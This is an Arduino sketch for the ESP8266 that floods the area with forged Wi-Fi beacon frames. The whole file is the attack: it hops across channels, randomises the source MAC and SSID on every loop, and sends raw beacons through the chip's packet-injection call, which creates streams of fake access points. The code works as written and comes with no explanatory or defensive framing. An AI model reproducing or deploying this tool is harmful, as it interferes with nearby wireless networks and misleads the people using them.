WiFiBeaconJam.ino

#include <ESP8266WiFi.h>

extern "C" {
  #include "user_interface.h"
}

String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
byte channel;

// Beacon Packet buffer
uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, 
                /*4*/   0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 
                /*10*/  0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
                /*16*/  0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
                /*22*/  0xc0, 0x6c, 
                /*24*/  0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, 
                /*32*/  0x64, 0x00, 
                /*34*/  0x01, 0x04, 
                /* SSID */
                /*36*/  0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
                        0x01, 0x08, 0x82, 0x84,
                        0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, 
                /*56*/  0x04};                       


void setup() {
  delay(500);
  wifi_set_opmode(STATION_MODE);
  wifi_promiscuous_enable(1); 
}



void loop() {
    // Randomize channel //
   
    channel = random(1,12); 
    wifi_set_channel(channel);

    // Randomize SRC MAC
    packet[10] = packet[16] = random(256);
    packet[11] = packet[17] = random(256);
    packet[12] = packet[18] = random(256);
    packet[13] = packet[19] = random(256);
    packet[14] = packet[20] = random(256);
    packet[15] = packet[21] = random(256);

    // Randomize SSID (Fixed size 6. Lazy right?)
    packet[38] = alfa[random(65)];
    packet[39] = alfa[random(65)];
    packet[40] = alfa[random(65)];
    packet[41] = alfa[random(65)];
    packet[42] = alfa[random(65)];
    packet[43] = alfa[random(65)];
    
    packet[56] = channel;
    
    wifi_send_pkt_freedom(packet, 57, 0);
    wifi_send_pkt_freedom(packet, 57, 0);
    wifi_send_pkt_freedom(packet, 57, 0);
    delay(1);
}